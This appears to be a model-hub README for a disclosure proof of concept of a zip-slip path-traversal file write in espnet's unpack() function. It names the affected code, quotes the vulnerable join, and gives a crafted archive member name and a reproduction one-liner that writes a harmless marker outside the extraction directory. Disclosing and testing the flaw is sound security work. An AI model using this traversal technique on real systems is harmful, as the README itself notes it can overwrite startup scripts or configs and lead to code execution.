File size: 2,776 Bytes
f6cbf00
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
---
license: apache-2.0
tags:
  - security
  - proof-of-concept
  - path-traversal
---

# espnet `unpack()` zip-slip / path-traversal arbitrary file write (PoC model)

This repository contains a **benign** proof-of-concept model archive that
demonstrates a path-traversal / zip-slip arbitrary **file write** in
[espnet](https://github.com/espnet/espnet).

- Affected code: `espnet2/main_funcs/pack_funcs.py`, function `unpack()`
  (commit `85ac06a1f773ab842169d73e8805801d61a4a738`).
- Reached by the public model-loading path
  `espnet_model_zoo.downloader.ModelDownloader.download_and_unpack(...)``unpack_local_file(...)``pack_funcs.unpack(archive, cachedir)`.

## Root cause

When espnet unpacks a model archive, every member whose name is listed in the
archive's `meta.yaml` `yaml_files` is written with a **manually joined path**:

```python
fname   = archive.get_name_from_info(info)   # attacker-controlled member name
outname = outpath / fname                     # no basename / no containment check
outname.parent.mkdir(parents=True, exist_ok=True)
with outname.open("w") as f:                   # writes OUTSIDE outpath if fname has ../
    yaml.safe_dump(d, f)
```

The member name is never sanitised, so a name such as
`../../ESPNET_ZIPSLIP_ESCAPED.yaml` escapes the intended extraction directory.
Because the write uses a manual join + `open("w")` (not `ZipFile.extract`), this
escape works even for plain `.zip` archives, bypassing zipfile's own `..`
protection. The non-yaml branch (`archive.extract(...)`) additionally enables
classic tar-slip for `.tar`/`.tgz` archives. An attacker who publishes a model
can therefore drop files at arbitrary filesystem locations (e.g. overwrite a
startup script or config), leading to potential code execution.

## Contents

- `espnet_zipslip_poc.zip` — a minimal malicious espnet model archive. It
  contains `meta.yaml` and one member literally named
  `../../ESPNET_ZIPSLIP_ESCAPED.yaml`.

**benign PoC — writes a marker only:** the escaping member writes a harmless
YAML marker (`marker: ESPNET_ZIPSLIP_ESCAPED`); it performs no destructive
action.

## Reproduce

```bash
pip install espnet
python -c "import tempfile,pathlib; from espnet2.main_funcs.pack_funcs import unpack; \
d=pathlib.Path(tempfile.mkdtemp()); o=d/'cachedir'/'modelhash'; o.mkdir(parents=True); \
(o/'model.zip').write_bytes(pathlib.Path('espnet_zipslip_poc.zip').read_bytes()); \
unpack(str(o/'model.zip'), str(o)); \
print('ESCAPED FILE WRITTEN OUTSIDE EXTRACTION DIR:', (d/'ESPNET_ZIPSLIP_ESCAPED.yaml').exists())"
```

Expected output ends with:

```
ESCAPED FILE WRITTEN OUTSIDE EXTRACTION DIR: True
```

The file `ESPNET_ZIPSLIP_ESCAPED.yaml` appears **two directories above** the
extraction directory, proving the traversal.